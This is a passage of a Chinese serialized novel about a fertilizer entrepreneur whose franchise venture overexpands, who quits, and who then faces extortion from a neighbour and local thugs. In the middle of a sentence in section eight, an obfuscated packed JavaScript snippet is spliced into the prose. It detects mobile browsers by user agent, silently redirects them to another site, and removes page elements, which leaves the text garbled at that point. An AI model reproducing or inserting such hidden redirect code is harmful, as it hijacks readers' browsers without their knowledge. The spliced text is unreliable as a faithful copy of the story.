第三天访谈。黄文被问了整整两小时——连锁模式怎么运作、如何保证产品质量、怎么培训经销商、售后服务怎么做……问到后来，他嗓子哑得像破锣。 考核结束，孙处长把王霖叫到仓库外的梧桐树下。 “王总，”他开门见山，“硬件，勉强及格。软件，问题大了。管理不规范，记录不完整，人员培训不到位。” 王霖心沉到脚底。 “但是，”孙处长顿了顿，目光扫过车间里忙碌的工人，“我看得出来，你们是真心想做事的。那个姓黄的经理，对市场是真懂；你那个财务，账目清清楚楚；还有那个老技术员，一看就是搞科研的料。” 他合上记录本，声音低沉：“我给你们提几点建议，改好了，三个月后再来复查。改不好……” 他没说下去，但意思在风里飘着。 送走考核组，王霖召集所有人站在车间中央。夕阳从气窗斜射进来，把每个人的影子拉得很长。 “三个月。”他说，“三个月后，必须过。” 那三个月，是美洲液肥创业以来最苦的日子。 车间实行三班倒，白天生产，晚上培训。黄文编了十二讲的培训教材，从产品知识到销售技巧，从售后服务到客户管理。每周三晚上上课，雷打不动，全员参加，连看门的老刘都得听课。 张莉重新梳理流程，设计了三十七种表格——原料入库单、成品出库单、销售开单、货款回收单……每个环节都有记录、有签字、可追溯。她说：“在银行，一分钱对不上都得查到底。” 李老师带着技术团队，把配方工艺优化了三次，做了上百次对比试验。老爷子常念叨：“科研不是变魔术，是千百次的重复。” 王霖自己，跑遍了山东十七个地市，拜访了四十多个农业局、农技站。他带着小本子，问专家意见，听农民心声，完善连锁方案。有时一天跑三四个县，晚上回到旅馆，腿肿得脱不下鞋子。 三个月后，复查通过。 2007年11月，市考核组来。有了省里的经验，这次顺利很多。虽然也挑出毛病，但总体给了肯定。 2008年1月，商务部一审意见下来：原则同意，需补充材料。 2008年3月，二审通过。 2008年5月，批文下达。 那天下午，快递员把文件袋送到仓库时，王霖正趴在搅拌机底下修传动带。他满手机油地爬出来，在工装裤上擦了擦手，才接过那个普通的牛皮纸袋。 拆开，抽出文件。红头，公章，编号。他蹲在机器旁，一个字一个字地读，读了三遍。 黄文跑过来，喘着气：“王总，批了？” “批了。”王霖把文件递过去，手很稳。 黄文接过，翻开最后一页。那个鲜红的印章撞进眼里时，他突然蹲下来，抱着头，肩膀开始抖。 工人们围过来，不知发生了什么。张莉从办公室出来，看见两人的样子，明白了。她走过来，蹲在黄文身边，手轻轻放在他肩上。 “黄文，”她声音很轻，“咱们……成了。” 黄文抬起头，眼圈红得像兔子：“嫂子，咱们……真成了？” “成了。”张莉眼泪也下来了，“这两年……没白熬。” 那天晚上，仓库里摆了两张大圆桌。菜是张莉从“聚丰楼”订的，八荤八素；酒是王霖存了三年的五粮液，瓶盖一开，香气四溢。 工人们都来了，李老师也被请来，连看门的老刘都换了身干净衣裳。 王霖端着酒杯站起来，手还是有些抖： “今天，咱们拿到了许可证。这不仅是张纸，是咱们两年多，一千多个日夜，一锤一锤凿出来的路。” 他看着在座的每一张脸——张莉眼角的细纹，黄文瘦削的下巴，李老师花白的头发，工人们粗糙的手。 “这条路，是大家一块砖一块砖铺的。我王霖，谢了。” 他一饮而尽。酒很烈，从喉咙烧到胃里，烧得他眼泪直流。 --- 五、资本的狂欢 批文到手第三天，徐总从上海飞来。 阵仗很大——两辆黑色奔驰S600直接开到仓库门口。徐总下车，一身休闲装，但料子一看就贵。身后跟着两个助理，一个提爱马仕公文包，一个拿苹果笔记本电脑。 “王总，黄总，恭喜！”徐总握手很有力，笑容像熨过一样平整，“批文我看了，漂亮。咱们可以签合同了。” 签约在金智连投资公司会议室。落地窗外是高新区全景，起重机像巨人的手臂在空中挥舞。长条桌上，鲜花娇艳欲滴，水果摆成塔状，矿泉水瓶身上的标签都朝一个方向。 王霖、黄文、张莉都来了。王霖穿那身深蓝西装，黄文新买了套藏青色西装，张莉穿了条米色连衣裙——这是她除了结婚那天，第二次穿裙子。 合同五十八页。徐总的律师逐条解释：公司名“润德农资连锁股份有限公司”，注册资本三千万，徐总投资两千一百万占70%，王霖以美洲液肥全部资产作价九百万占30%。王霖任财务总监，黄文任总经理，徐总任董事长。 “财务总监，”徐总拍王霖肩膀，“公司的钱袋子，你管。” “总经理，”他对黄文笑，“整个连锁体系，你扛。” 签字时，王霖手还是抖。笔尖落在纸上，沙沙声在寂静的会议室里格外清晰。他想起四年前在新陶签第一份合同，那时手心全是汗，把纸都洇湿了。 现在，纸是干的，但心跳一样快。 签完字，徐总击掌：“好！从现在起，一家人了。资金三天内到账。黄总，招兵买马吧。” 资金果然三天就到了。银行账户上多了两千一百万，王霖让张莉查了三遍，又自己核了两遍，才敢相信。 公司开始疯长。 黄文在高新区租了整层写字楼——八百平米，月租三万。招聘广告一登，应聘的人挤满走廊。黄文亲自面试，一个月招了四十七人——市场部、运营部、招商部、培训部、客服部……部门像雨后蘑菇一样冒出来。 王霖负责建章立制。他把自己关在办公室里，参考了十几家上市公司的制度，结合农资行业特点，制定了财务、采购、人事、审计等八项制度。打印出来厚厚一摞，能当枕头用。 张莉从仓库搬进写字楼，有了带玻璃隔断的财务室。她招了两个会计一个出纳，每天忙着建账、开户、办税、做预算，像重新开张一家银行。 原来的美洲液肥车间改造成润德生产基地。工人们换上新工装，胸前绣着“润德农资”的logo。老李当了车间主任，手下管三十多人，说话声音都大了。 一切都变了，快得像按了快进键。 只有李老师没变。老爷子还是每周来两次实验室，戴着老花镜看检测报告。王霖想给他安排间办公室，他摆摆手：“我就在实验室挺好。你们那些高楼大厦，我待着头晕。” 2008年7月，润德农资连锁正式招商。 黄文策划的发布会在东海最好的酒店。省农业厅领导来了，电视台记者来了，三百多个潜在经销商把会场塞得满满当当。 聚光灯下，黄文穿着定制的西装，侃侃而谈： “润德农资，要做中国农资行业的‘国美’‘苏宁’！三年，一万家连锁店！让每一个农民，在家门口就能买到放心肥、便宜肥！” 台下掌声如雷。 王霖坐在第一排，看着台上的黄文。那个四年前蹬三轮车接客户的年轻人，如今在台上挥斥方遒，自信得像换了个人。 他忽然想起黄文第一次来应聘——洗得发白的牛仔夹克，梗着脖子说“能力比文凭重要”。 时间啊，真是个魔术师。 --- 六、失控的雪球 招商效果超出所有人的想象。 一个月，签约加盟店破五百家。两个月，一千家。到2008年年底，数字飙到三千七百家——平均每天新开十家店。 黄文成了空中飞人。一个月二十天在路上——北京、上海、广州、成都，机场成了第二个家。他被邀请参加各种论坛、峰会、研讨会，讲润德模式，讲农资连锁，讲创业传奇。 媒体开始追着他跑。《中国农资报》整版专访：《从三轮车到奔驰——黄文的逆袭》；电视台做专题片：《一个农村孩子的中国梦》；五六所大学发来客座教授聘书，烫金的封面能晃花人眼。 王霖在办公室里看那些报道，心情像打翻的调料瓶。 他为黄文高兴——那个他一手带出来的年轻人，终于出息了。 但他也隐隐不安——公司膨胀得太快了。三千七百家店，分布在二十多个省，管理难度成几何级数增长。每天都有新问题：有的店违规销售非公司产品，有的店私自降价，有的店服务跟不上，还有的店干脆关门跑路。 更让他睡不着的是财务状况。 每个月，支出像开闸放水——工资、租金、广告费、差旅费、会议费……收入呢？主要靠加盟费和管理费，但很多店拖着不交。产品销售额在涨，但利润率在降——为了抢市场，公司对加盟店让利太多。 到2008年年底一算账，亏损四百二十三万。 王霖拿着财务报表找徐总。徐总正在看新项目计划书——高新区一块地，他打算拿下来盖写字楼。 “徐总，得踩刹车了。”王霖把报表推过去，“亏损越来越大了。” 徐总扫了一眼，笑了：“王总，做企业要有格局。现在亏点钱，是为了占市场。等市场份额大了，话语权就有了，到时候想怎么赚都行。” “可是……” “别可是。”徐总打断他，眼神有点不耐烦，“知道吗？现在有三家风投在接触我们，想出高价入股。为什么？因为他们看到了我们的增长速度。在资本眼里，速度比利润重要。” 王霖还想说，徐总已经拿起电话：“张秘书，安排明天看地。” 走出办公室，王霖站在落地窗前。窗外，高新区高楼林立，起重机像巨大的钢铁昆虫不知疲倦地转动。这个城市在疯长，像他们的公司。 --- 七、裂痕 2009年春天，裂缝终于藏不住了。 董事会那天，王霖把一份详细的分析报告发到每个人面前。 “这是过去半年的数据。”他说，“加盟店四千二百家，但活跃的只有两千三百家，剩下的要么半死不活，要么已经关门。管理费用支出八百七十万，收入只有四百二十万。产品销售额增长缓慢，因为我们的价格太高——比市场同类产品贵30%以上。” 他顿了顿，声音在会议室里显得格外清晰：“我们犯了个错——为了追求高大上，把产品包装过度，价格定得太高。农民用不起，东西再好也卖不出去。” 会议室静得能听见空调出风口的嗡嗡声。 徐总转着手中的万宝龙钢笔：“王总，你的建议是？” “放慢扩张，重点抓现有门店运营。降低产品价格，让利给农民。压缩管理费用，砍掉不必要的开支。”王霖说得直接，“否则，雪球越滚越大，最后会把我们压垮。” 黄文说话了，声音有点哑：“王总说得对。我这几个月跑市场，发现问题很多——培训跟不上，很多店主不会卖货；物流配送不及时，经常断货；售后服务形同虚设，农民买了不会用，没人教。” 徐总笑了，笑容里有点冷：“黄总，你以前可不是这么说的。你在台上演讲，说的可是‘三年一万家，改变中国农资’。” 黄文脸红了：“那时……没想这么深。” “现在想深了？”徐总放下笔，“晚了。资本进来了，合同签了。我们答应投资人，今年要做到六千家店，销售额破两个亿。现在说放慢？投资人能答应吗？” 他站起来，走到窗前，背对着大家：“我知道你们担心什么。但做企业，有时候就得赌。赌对了，我们是下一个国美、苏宁；赌错了……” 他没说下去，但窗外城市的灯光映在他背影上，像一层冷霜。 会议不欢而散。 那天晚上，王霖和黄文在办公室待到深夜。烟灰缸里堆满了烟蒂，像一座小小的坟冢。 “黄文，”王霖按灭最后一支烟，“说实话，咱们现在这条路，对吗？” 黄文沉默了很久，久到窗外的车流声都稀疏了：“王总，我也不知道。我就是觉得……太快了，快得我喘不过气。每天睁开眼，就是数字、目标、计划。我都快忘了，咱们当初为什么要做这个。” “为了让农民用上好肥料。”王霖说，声音轻得像叹息，“就这么简单。” “可现在呢？”黄文苦笑，笑容在灯光下显得疲惫，“农民用不起我们的肥料。我们的店开在县城最繁华的地段，装修得跟超市一样，农民进去都不敢问价。” 两人都没再说话。 窗外，城市的灯光璀璨如星海。但王霖觉得，那些光很冷，很远，照不进这间烟雾缭绕的办公室。 --- 八、退场 2009年6月，公司加盟店突破五千家。 庆祝会在东海最高的旋转餐厅举行。香槟塔在灯光下晶莹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196365|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剔透，人们穿着华服穿梭，笑声像潮水一样起伏。 徐总宣布好消息——又有一家风投要投三千万，公司估值已到五个亿。 全场沸腾。香槟喷涌，彩带飞舞，掌声像暴雨般砸下来。 黄文被簇拥在中间，人们向他敬酒，称他“黄总”“黄教授”“创业英雄”。他笑着，应和着，但笑容像一张贴上去的面具。 王霖坐在角落的沙发上，看着这一切。 张莉走过来，在他身边坐下，裙摆像一朵盛开的百合：“不高兴？” “高兴不起来。”王霖看着杯中晃动的红酒，“你看那些数字——五千家店，听起来多厉害。可你知道有多少是凑数的吗？有的店就挂个牌子，里面卖的还是原来的货；有的店老板连我们产品都不了解；还有的店，干脆就是空壳，为了拿补贴。” “你跟徐总说了吗？” “说了，没用。”王霖摇头，红酒在杯中划出忧郁的弧线，“他说，这就是商业。先把盘子做大，再慢慢规范。” 张莉握住他的手。她的手很凉，但握得很紧。 “那你想怎么办？” 王霖看着妻子。这些年，她眼角有了细纹，鬓角有了白发，但眼神还是那么清澈，像他们刚认识时一样。 “我想……退出来。”他说得很轻，轻得像怕惊扰了什么，“回咱们的小工厂，做点实实在在的事。” 张莉没说话，只是把他的手握得更紧了。 三天后，王霖正式提出辞职。 徐总很惊讶，手里的雪茄停在半空：“王总，你这是……对公司没信心？” “不是。”王霖说，“是我跟不上公司的节奏了。我是个做实业的，习惯了一步一个脚印。现在这种玩法，我玩不来。” “那你打算做什么？” “回我的小工厂，继续做美洲液肥。”王霖笑了，笑容很淡，“卖给那些相信我的人。” 徐总沉默了很久，雪茄的烟灰掉在昂贵的波斯地毯上。 “王总，我尊重你的选择。但你那30%的股份……” “我不要了。”王霖说得很平静，“当初作价九百万，实际值多少，我心里有数。你给我五十万，咱们两清。” 徐总看着他，眼神复杂：“王总，你是个实在人。这个年代，实在人……不多了。” 签退股协议那天，阳光很好。王霖走出写字楼，站在台阶上，长长吐了口气。 黄文追出来，西装外套搭在臂弯，领带松着：“王总，你……真要走？” “真走。”王霖拍拍他肩膀，像四年前拍那个穿牛仔夹克的年轻人，“黄文，你好好干。咱们走的路不一样，但目标都一样——做点有意义的事。” “王总，”黄文眼圈红了，“没有你，我……” “别说这话。”王霖打断他，“你长大了，能飞了。以后的路，自己走好。” 他转身走向停车场。那辆开了五年的桑塔纳停在角落，漆掉了好几块，像个风尘仆仆的老伙计。 车开上马路，后视镜里，写字楼越来越远，最后缩成一个小点。 王霖忽然想起四年前，他推开仓库绿铁门的那一天。那时的他，什么都没有，只有一腔孤勇和三个工人。 现在，他好像又回到了原点。 但又不完全是——他有了经验，有了教训，有了那些相信他的人。 还有，他知道了自己是谁。 这就够了。 --- 九、归巢 回到仓库，一切如旧。 搅拌机还在转，灌装线还在响，工人们穿着蓝色的旧工装，看见王霖回来，都放下手里的活围上来。 “王总，你回来了？” “回来了。”王霖说，声音在空旷的车间里回响，“以后不走了。” 车间还是那个车间，只是多了些灰尘。办公室还是那个办公室，桌上的文件堆得老高，最上面那本台历还停留在三个月前。 张莉已经开始工作了——她把财务账目重新梳理，把客户档案重新整理，把生产计划重新安排。动作熟练得像从没离开过。 “咱们现在有多少客户？”王霖问。 “十九个。”张莉头也不抬，“都是老客户。听说你回来，都打电话来问，什么时候能发货。” 王霖笑了，笑容很踏实：“明天就发。” 美洲液肥重新启动。规模小了很多——工人从三十多个减到七个，车间只开一条生产线，产量只有原来的三分之一。 但王霖觉得心里踏实，像船回了港。 他重新开始跑市场。还是那辆桑塔纳，还是那个磨破边的公文包，还是那套说实话、不忽悠的做派。 老客户们都欢迎他回来。 寿光的老赵在电话里笑：“王总，你那个什么连锁公司，搞得花里胡哨的。肥料是好肥料，但卖得太贵了。现在你回来了，咱们还按老价钱？” “按老价钱。”王霖说，“只低不高。” 菏泽的小马已经从小店做成了大店，手下有五六个业务员。他说：“王总，我一直用你们的肥。效果好，就是量跟不上。现在你回来了，能保证供货吗？” “能。”王霖说，“你要多少，我做多少。” 市场一点点恢复。虽然慢，但稳。每个月销售额三十万、四十万、五十万……像蜗牛爬树，一步一步往上走。 王霖不再追求数字，他开始关注别的事——怎么把肥料做得更好，怎么让农民用得更容易，怎么把成本降得更低。 他和李老师又钻进了实验室。老爷子很高兴，摸着那些熟悉的仪器说：“这才对嘛！搞企业的，就得盯着产品。那些虚头巴脑的东西，没用。” 2009年秋天，美洲液肥的销售额回到了百万水平。 虽然不及连锁公司的零头，但王霖每晚都睡得很沉，很香。 --- 十、树欲静 日子就这么不紧不慢地流淌着，像厂区后面那条小河。 2009年的深秋，高新区西边的麦田一片金黄，风里带着谷物成熟的甜香和土地特有的土腥味。王霖盘算着，等这季收成下来，农民手里有了钱，肥料又能多卖些。他甚至开始琢磨，是不是该把旁边那间空仓库也租下来，添一条生产线。 仓库左边是片废弃的厂房，右边隔条小路，是个做塑料加工的小作坊。作坊老板娘姓周，四十多岁，烫着大波浪卷，嘴唇涂得猩红，整天穿着花裙子在门口晃悠。她那个作坊生意不好，三天打鱼两天晒网，倒是常扒在墙头往这边看。 王霖没在意。他忙着呢——新一批母液到了要验收，车间设备该保养了，菏泽那边催着发货，张莉说财务软件该升级了……每天从早忙到晚，像个停不下来的陀螺。 霜降那天，第一场寒流来了。 下午，王霖正蹲在车间门口，和工人们一起调试新到的灌装头。阳光斜斜地照进来，在水泥地上投下长长的影子。老李拿着扳手，王霖扶着机器，两人满头大汗。 门被“吱呀”一声推开。不是往常那种推法，是慢慢地、带着点试探的推。 周老板娘站在门口，身后跟着两个穿工装的男人。她今天穿了件紫红色的毛衣，嘴唇涂得比往常更红，在灰扑扑的车间门口显得格外扎眼。 “王老板，忙着呢？”她笑着，笑容有点黏糊。 王霖站起身，在工装裤上擦了擦手：“周老板，有事？” “也没啥大事。”周老板娘走进来，高跟鞋踩在水泥地上“咔哒”响。她环视车间，目光在每台机器上停留，像在估量什么，“就是吧，有件事想跟你商量商量。” “您说。” “你看啊，”周老板娘走到搅拌机旁边，伸手摸了摸冰凉的铁壳，“我这边的作坊呢，最近接了个大单，做塑料配件。机器一开，声音大，震动也大。我怕……影响到你这边的生产。” 王霖笑了：“没事，我们这机器声音也不小。互相理解。” “不是这个意思。”周老板娘转过身，脸上的笑容淡了些，“我是说……你能不能挪个地方？反正你这生意也不大，找个偏僻点的地方，租金还便宜。” 车间里安静下来。工人们都停下了手里的活。 王霖看着她，看了好几秒，才慢慢说：“周老板，我在这儿干了四年了。从一片荒地干到现在，不容易。挪地方……不太现实。” “哎呀，我就是提个建议。”周老板娘摆摆手，但眼神没松，“你也知道，我做的那塑料配件，是出口日本的，要求高。万一你这边的震动影响了我的精度，损失可就大了。” 她身后的一个男人开口了，声音粗嘎：“我们周姐的意思是，要么你搬，要么……咱们得想个折中的办法。” 王霖没接话。他看着周老板娘涂得猩红的嘴唇，忽然明白了——这不是商量，是试探。试探他的底线，试探他的反应。 “折中？”他问。 “这样吧。”周老板娘从包里掏出盒烟，自己点了一支，没让王霖，“你每个月给我补点钱，算是对我可能造成的损失的补偿。也不多，两千块。” 她吐了口烟，烟雾在阳光下缓缓升腾：“大家都邻居，和气生财嘛。” 王霖笑了，这次是真笑了。他想起很多年前，在新陶公司时，柳长青跟他说过的一句话：这世上有些人，看不得别人好。你越老实，他越觉得你好欺负。 “周老板，”他声音很平静，“我这厂子，所有手续齐全，环保达标，噪声振动都在标准范围内。如果真影响了您，您可以找环保局检测。该我负责的，我绝不推脱。但每个月两千块……抱歉，我给不了。” 周老板娘脸上的笑容彻底消失了。她把烟扔在地上，用高跟鞋尖碾灭：“行，王老板，话说到这份上，我也明白了。那咱们……各走各路。” 她转身往外走，走到门口又停住，回头看了王霖一眼：“不过我可提醒你，我这边的机器一开起来，动静可不小。到时候要是影响了你的生产，可别怪我没事先打招呼。” 高跟鞋的声音渐渐远去。 车间里还是没人说话。老李走过来，压低声音：“王总，这女人……我听说不太好惹。她有个表哥，在道上混的。” 王霖看着门口，阳光在那里切出一道明晃晃的光带。 “咱们做咱们的生意。”他说，“身正不怕影子斜。” 但接下来的日子证明，老李的担心不是多余的。 周老板娘的作坊果然“开工”了。机器从早响到晚，“轰隆轰隆”的声音震得这边的墙皮都在掉。更奇怪的是，她的货车总在王霖的货车要进出时堵在路口，一堵就是半小时；她的工人“不小心”把废水泼到王霖这边的墙根下，招来成群的老蝇；夜里，她的作坊灯火通明，机器的轰鸣声让人整宿睡不着。 王霖去找过她两次。第一次，她说“生意好，没办法”；第二次，她直接不见。 张莉劝他：“要不……找街道办调解调解？” 王霖摇头：“她敢这么干，就不怕调解。这种人，你越软，她越硬。” 他想起了李处长那句话——连锁经营，最难的是管人。一万家店，就是一万个风险点。 现在看来，不用一万家，光是隔壁这一家，就够人受的。 深秋的风从门口灌进来，带着寒意。王霖站在车间中央，看着那些熟悉的机器，忽然觉得有点累。 这些年，他走过那么多路，跨过那么多坎。从省经委到矿区，从新陶到美洲液肥，从连锁公司又回到这里。他以为，只要脚踏实地，只要实实在在做事，就能站稳脚跟。 可现在，隔壁那个涂着猩红嘴唇的女人，用最粗鄙的方式告诉他：这世道，有时候不讲道理。 “王总，”老李递过来一杯热茶，“喝点水吧。” 王霖接过茶杯，水温透过瓷壁传到掌心，有点烫。 他想起女儿小雨，想起她下棋时认真的样子。小雨常说：“爸爸，下棋要算三步。” 可他算不到，生意场上除了产品质量、市场销路、资金周转，还要算这些——隔壁的噪音、堵路的货车、泼到墙根的废水。 这些，没人教过他。 窗外的天色渐渐暗下来。远处，周老板娘的作坊亮起了灯，机器的轰鸣声在暮色中格外刺耳。 王霖喝光了杯里的茶，把杯子放在工作台上。 “明天照常开工。”他对工人们说，“她干她的，我们干我们的。” 但心里，他知道这事没完。 树欲静而风不止。这风，才刚刚开始刮。 --- （第十四章·破局 完全文字数：约13000字） --- --- 25. 《半生债》中卷 第十五章·暗涌 《半生债》中卷第十五章·暗涌 一、风起于青萍之末 周老板娘的骚扰是从深秋开始的，像这季节的雾，起先只是薄薄一层，慢慢地，就浓得化不开了。 十一月初，高新区下了第一场霜。早晨，王霖推开仓库门时，发现门口的排水沟被堵死了，浑浊的污水漫到脚边，泛着刺鼻的化学气味。沟里塞满了破碎的塑料废料——是从隔壁作坊飘过来的。 老李带着两个工人清理了一上午。铁锹挖下去，“嘎吱”一声碰到硬物，扒开来，是半截锈蚀的机器零件，混在塑料碎片里，像埋着的骨头。 “王总，这明显是故意的。”老李抹了把汗，手指着围墙那头，“你看那墙根，他们新砌了个台子，垃圾直接往这边倒。” 围墙只有一人高，是多年前用红砖草草垒起来的。隔壁作坊在墙根下垫了几块水泥板，形成一个斜坡，废水废料顺着坡就淌到这边来。 王霖没说话。他走到墙边，踩上垫脚石，探头往那边看。 周老板娘正站在院子里打电话，猩红的嘴唇一张一合。看见王霖，她顿了顿，继续对着话筒说：“……对，就这样处理，反正有人给兜着。” 挂了电话，她冲王霖笑笑，笑容像画上去的：“王老板，早啊。哎呀，这排水沟怎么堵了？要不要我叫工人帮你通通？” “不用。”王霖从石头上下来，“周老板，这围墙是共用的。你们那边的垃圾，最好别往这边倒。” “哪有的事！”周老板娘声音提高了八度，“我们可是正规作坊，环保达标的好不好！王老板，你可别冤枉人。” 她转身进了屋，“砰”地关上门。 那天下午，王霖去了街道办。接待的是个年轻办事员，听了情况，在笔记本上记了几行字。 “这个事啊，我们得实地看看。”办事员推推眼镜，“不过最近创卫检查，人手紧。这样，你们先跟邻居沟通沟通，远亲不如近邻嘛。” “沟通不了。”王霖说，“她根本不认。” “那就……再沟通沟通。”办事员合上笔记本，笑容职业而敷衍，“和谐社会，以和为贵。” 走出街道办，天阴了。风从西北方向刮来，卷起地上的落叶和灰尘。王霖站在台阶上，点了支烟。 烟抽到一半，手机响了。是张莉。 “王霖，你快回来！”声音带着哭腔，“小雨……小雨在学校跟人打架了！” --- 二、涟漪 王小雨的学校在开发区实验小学，离工厂三公里。 王霖赶到时，班主任已经在办公室等着了。张莉也在，眼圈红红的，把小雨搂在怀里。小姑娘头发散乱，校服上沾着灰，但眼睛瞪得圆圆的，像只受惊但倔强的小兽。 “怎么回事？”王霖问。 班主任是个四十多岁的女老师，扶了扶眼镜：“王先生，是这样的。课间的时候，小雨跟几个同学在操场玩，周浩——就是隔壁班那个男生——过来抢小雨的围棋。小雨不给，周浩就推了她一下。小雨还手，两个人就……” “谁先动的手？”王霖问得很直接。 “是周浩先推的。”小雨抬起头，声音带着委屈，“他抢我东西，还骂人。” “骂什么？” 小雨咬着嘴唇，没说话。 班主任叹了口气：“小孩子的话，当不得真……” “骂什么？”王霖又问了一遍，声音很平静。 小雨看看妈妈，又看看爸爸，小声说：“他骂……骂‘你爸是个穷酸货，开个破厂子还装大老板’。” 办公室里静了几秒。 张莉搂紧了女儿，眼泪掉下来。 王霖看着班主任：“那个周浩，家长来了吗？” “还没通知。周浩他妈妈……”班主任顿了顿，“不太好沟通。” 正说着，门被“哐”地推开。 周老板娘闯了进来，高跟鞋踩得地面“咔咔”响。她今天穿了件貂绒外套，烫过的头发高高盘起，脸上涂着厚厚的粉。 “李老师，我们家浩浩怎么了？”她一进门就嚷，“谁打他了？是不是那个王小雨？” 她看见了王霖和张莉，愣了一下，随即冷笑：“哟，王老板，张会计，都来了啊。怎么，你们家闺女欺负人，还有理了？” “是你儿子先动手的。”张莉站起来，声音发抖，“他抢小雨的东西，还骂人。” “骂什么了？小孩子拌两句嘴，能叫骂人？”周老板娘抱起胳膊，“倒是你们家闺女，下手可真狠。我们浩浩脸上都抓出血道子了！” 小雨突然挣脱张莉，冲到周老板娘面前：“他先骂我爸的！他说我爸是穷酸货！” “小雨！”张莉赶紧拉住她。 周老板娘盯着小雨，眼神冷得像冰：“小丫头片子，嘴还挺硬。你爸是不是穷酸货，你自己不知道？” “周老板。”王霖开口了，声音不高，但每个字都像石头砸在地上，“孩子的事，让孩子自己说。你要是觉得委屈，我们可以调监控，可以找目击的同学。但你要是借孩子的事说别的，那就没意思了。” 周老板娘脸色变了变。她看看班主任，又看看王霖，忽然笑了：“行啊，王老板，挺会说话。那咱们就事论事——你们家闺女把我们浩浩打了，医药费、精神损失费，总得赔吧？” “该赔的，一分不会少。”王霖说，“但不该赔的，一分也不会给。” 最后，在班主任的调解下，双方各退一步——小雨和周浩互相道歉，医药费各自承担。王霖当场给了班主任二百块钱，说是给周浩买点营养品。 走出学校时，天已经黑了。路灯把三个人的影子拉得很长。 小雨牵着张莉的手，小声说：“爸爸，对不起。” “为什么要道歉？”王霖蹲下来，看着女儿的眼睛。 “我……我给你惹麻烦了。” 王霖摸了摸女儿的头：“小雨，记住爸爸的话——被人欺负了，要还手。但还手要有分寸，要占理。你今天还手，是因为他先动手，是因为他骂人。这没错。” “可是周浩他妈妈……” “那是大人的事。”王霖站起来，握住女儿的手，“大人的事，大人解决。你只要保护好自己，好好学习，好好下棋。” 小雨点点头，眼睛在路灯下亮晶晶的。 回家的路上，张莉一直沉默。快到工厂时，她突然说：“王霖，那个周老板娘……她是不是故意的？” “什么故意的？” “让她的孩子欺负小雨。”张莉的声音有点颤，“她是不是想通过孩子，来逼我们？” 王霖没说话。他看着车窗外掠过的街灯，一盏，又一盏。 他也想到了。太巧了——工厂刚起冲突，孩子就在学校打架。那个周浩，以前从没听说跟小雨有过节。 车开进工厂院子时，隔壁作坊的机器还在轰鸣。灯光从围墙那边透过来，把这边的地面照得一片惨白。 王霖停好车，没有马上下去。他坐在驾驶座上，点了支烟。 烟雾在车厢里弥漫开来。 “张莉，”他说，“这两天，你接送小雨上下学。别让她一个人走。” “那你呢？” “我？”王霖深吸一口烟，缓缓吐出，“我看看，她到底想干什么。” --- 三、步步紧逼 冲突升级是在一周后。 那天是十一月十五号，农历十月初八，黄历上写着“忌动土、忌开工”。王霖不信这些，照常开了工。 上午九点，第一车原料刚到，还没卸完，三辆摩托车“突突”地冲进院子，停在仓库门口。 车上下来五个男人。为首的是个光头，三十多岁，穿着皮夹克，脖子上挂着根金链子。他身后的四个人，都剃着板寸，穿着紧身T恤，胳膊上纹着青色的图案。 “王老板是吧？”光头走过来，嘴里叼着烟，“跟你商量个事。” 王霖放下手里的货单：“什么事？” “你这工厂，噪音太大，影响我们休息。”光头吐了口烟，“我们哥几个就住后面那排平房，天天被你这机器吵得睡不着。” 王霖看了眼围墙——后面确实有几排待拆迁的平房，但早就没人住了。 “环保局测过，我们噪声达标。”王霖说，“你们要是觉得吵，可以投诉。” “投诉？”光头笑了，露出被烟熏黄的牙，“王老板，我们不想麻烦政府。你就简单点，每个月给点‘安静费’，我们搬远点住，大家都清静。” “多少钱？” “不多。”光头伸出三根手指，“三千。对你这种大老板来说，毛毛雨。” 王霖也笑了：“我要是不给呢？” 光头的笑容僵了一下。他身后的四个人往前凑了凑。 “不给？”光头把烟头扔在地上，用脚碾灭，“那就不好说了。你这货车天天进进出出，万一哪天轮胎扎了，玻璃碎了，或者……出个交通事故，多不划算。” 车间里的工人都出来了，站在王霖身后。老李手里攥着根铁棍，青筋暴起。 王霖没动。他看着光头，看了足足半分钟。 “行，我知道了。”他说，“你们先回吧。我考虑考虑。” “考虑？”光头挑眉，“王老板，这事不用考虑。今天给钱，今天我们就走。不给……” 他没说完，但意思明白。 “今天不行。”王霖说，“厂里现金不够。明天，明天你们再来。” 光头盯着他，眼神像刀子：“王老板，别耍花样。明天要是见不到钱，你这厂子……恐怕就不太平了。” 五个人骑着摩托车走了，引擎的轰鸣声在院子里回荡了很久。 工人们围上来。 “王总，报警吧！” “这帮人我见过，在菜市场收保护费的！” “肯定是周老板娘找来的！” 王霖摆摆手，示意大家安静。他走到仓库门口，看着围墙那边——周老板娘正站在二楼的窗口，往这边看。看见王霖，她拉上了窗帘。 “老李，”王霖说，“去把斧头拿来。” “斧头？” “对，劈柴那把。”王霖说，“磨快一点。” --- 四、斧头 第二天，光头他们果然来了。 还是那三辆摩托车，还是那五个人。但今天，他们手里多了家伙——钢管、木棍、链条，在阳光下闪着冷光。 光头一下车就喊：“王老板，钱准备好了吗？” 王霖从车间走出来。他没穿工装，换了件旧夹克，手里拎着把斧头——就是平时劈柴用的那把，榆木柄被手汗浸得发亮，斧刃磨得雪亮。 “准备好了。”王霖说。 光头笑了：“这就对了嘛。早这么懂事，何必……” 话没说完，他看见了王霖手里的斧头。笑容僵在脸上。 “王老板，你这是……” “钱没有。”王霖把斧头拄在地上，“命有一条。你们要，就来拿。” 院子里死一般寂静。工人们都躲在车间里，透过窗户往外看。张莉在办公室，死死捂住嘴，不让自己叫出来。 光头脸色变了。他看看王霖，又看看那把斧头。斧刃在阳光下反射着刺眼的光。 “王老板，吓唬谁呢？”他强作镇定，“我们哥几个可不是吓大的。” “没吓唬你。”王霖说得很平静，“我就是告诉你们，这厂子是我一点点建起来的。谁想毁了它，得先问问我手里的家伙。” 他举起斧头，斧刃在空中划出一道寒光。 光头身后的一个年轻人忍不住了，提着钢管往前冲：“妈的，装什么……” 话音未落，王霖动了。 